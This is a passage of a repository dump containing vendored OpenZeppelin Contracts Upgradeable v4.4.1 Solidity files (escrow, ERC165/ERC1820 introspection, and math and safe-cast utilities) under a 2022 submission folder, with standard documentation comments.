event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param payee The destination address of the funds.
*/
function deposit(address payee) public payable virtual onlyOwner {
uint256 amount = msg.value;
_deposits[payee] += amount;
emit Deposited(payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee, forwarding all gas to the
* recipient.
*
* WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
* Make sure you trust the recipient, or are either following the
* checks-effects-interactions pattern or using {ReentrancyGuard}.
*
* @param payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address payable payee) public virtual onlyOwner {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.sendValue(payment);
emit Withdrawn(payee, payment);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/escrow/RefundEscrowUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/escrow/RefundEscrow.sol)
pragma solidity ^0.8.0;
import "./ConditionalEscrowUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @title RefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple
* parties.
* @dev Intended usage: See {Escrow}. Same usage guidelines apply here.
* @dev The owner account (that is, the contract that instantiates this
* contract) may deposit, close the deposit period, and allow for either
* withdrawal by the beneficiary, or refunds to the depositors. All interactions
* with `RefundEscrow` will be made through the owner contract.
*/
contract RefundEscrowUpgradeable is Initializable, ConditionalEscrowUpgradeable {
using AddressUpgradeable for address payable;
enum State {
Active,
Refunding,
Closed
}
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private _beneficiary;
/**
* @dev Constructor.
* @param beneficiary_ The beneficiary of the deposits.
*/
function __RefundEscrow_init(address payable beneficiary_) internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
__Escrow_init_unchained();
__ConditionalEscrow_init_unchained();
__RefundEscrow_init_unchained(beneficiary_);
}
function __RefundEscrow_init_unchained(address payable beneficiary_) internal onlyInitializing {
require(beneficiary_ != address(0), "RefundEscrow: beneficiary is the zero address");
_beneficiary = beneficiary_;
_state = State.Active;
}
/**
* @return The current state of the escrow.
*/
function state() public view virtual returns (State) {
return _state;
}
/**
* @return The beneficiary of the escrow.
*/
function beneficiary() public view virtual returns (address payable) {
return _beneficiary;
}
/**
* @dev Stores funds that may later be refunded.
* @param refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address refundee) public payable virtual override {
require(state() == State.Active, "RefundEscrow: can only deposit while active");
super.deposit(refundee);
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public virtual onlyOwner {
require(state() == State.Active, "RefundEscrow: can only close while active");
_state = State.Closed;
emit RefundsClosed();
}
/**
* @dev Allows for refunds to take place, rejecting further deposits.
*/
function enableRefunds() public virtual onlyOwner {
require(state() == State.Active, "RefundEscrow: can only enable refunds while active");
_state = State.Refunding;
emit RefundsEnabled();
}
/**
* @dev Withdraws the beneficiary's funds.
*/
function beneficiaryWithdraw() public virtual {
require(state() == State.Closed, "RefundEscrow: beneficiary can only withdraw while closed");
beneficiary().sendValue(address(this).balance);
}
/**
* @dev Returns whether refundees can withdraw their deposits (be refunded). The overridden function receives a
* 'payee' argument, but we ignore it here since the condition is global, not per-payee.
*/
function withdrawalAllowed(address) public view override returns (bool) {
return state() == State.Refunding;
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165CheckerUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165CheckerUpgradeable {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return
_supportsERC165Interface(account, type(IERC165Upgradeable).interfaceId) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)
internal
view
returns (bool[] memory)
{
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
bytes memory encodedParams = abi.encodeWithSelector(IERC165Upgradeable.supportsInterface.selector, interfaceId);
(bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);
if (result.length < 32) return false;
return success && abi.decode(result, (bool));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165StorageUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Storage.sol)
pragma solidity ^0.8.0;
import "./ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Storage based implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165StorageUpgradeable is Initializable, ERC165Upgradeable {
function __ERC165Storage_init() internal onlyInitializing {
__ERC165_init_unchained();
__ERC165Storage_init_unchained();
}
function __ERC165Storage_init_unchained() internal onlyInitializing {
}
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return super.supportsInterface(interfaceId) || _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC1820ImplementerUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC1820Implementer.sol)
pragma solidity ^0.8.0;
import "./IERC1820ImplementerUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC1820Implementer} interface.
*
* Contracts may inherit from this and call {_registerInterfaceForAddress} to
* declare their willingness to be implementers.
* {IERC1820Registry-setInterfaceImplementer} should then be called for the
* registration to be complete.
*/
contract ERC1820ImplementerUpgradeable is Initializable, IERC1820ImplementerUpgradeable {
function __ERC1820Implementer_init() internal onlyInitializing {
__ERC1820Implementer_init_unchained();
}
function __ERC1820Implementer_init_unchained() internal onlyInitializing {
}
bytes32 private constant _ERC1820_ACCEPT_MAGIC = keccak256("ERC1820_ACCEPT_MAGIC");
mapping(bytes32 => mapping(address => bool)) private _supportedInterfaces;
/**
* @dev See {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function canImplementInterfaceForAddress(bytes32 interfaceHash, address account)
public
view
virtual
override
returns (bytes32)
{
return _supportedInterfaces[interfaceHash][account] ? _ERC1820_ACCEPT_MAGIC : bytes32(0x00);
}
/**
* @dev Declares the contract as willing to be an implementer of
* `interfaceHash` for `account`.
*
* See {IERC1820Registry-setInterfaceImplementer} and
* {IERC1820Registry-interfaceHash}.
*/
function _registerInterfaceForAddress(bytes32 interfaceHash, address account) internal virtual {
_supportedInterfaces[interfaceHash][account] = true;
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC165Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC1820ImplementerUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for an ERC1820 implementer, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP].
* Used by contracts that will be registered as implementers in the
* {IERC1820Registry}.
*/
interface IERC1820ImplementerUpgradeable {
/**
* @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract
* implements `interfaceHash` for `account`.
*
* See {IERC1820Registry-setInterfaceImplementer}.
*/
function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC1820RegistryUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820RegistryUpgradeable {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(
address account,
bytes32 _interfaceHash,
address implementer
) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SafeCastUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastUpgradeable {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SafeMathUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SignedSafeMathUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SignedSafeMath.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SignedSafeMathUpgradeable {
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/structs/BitMapsUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential.
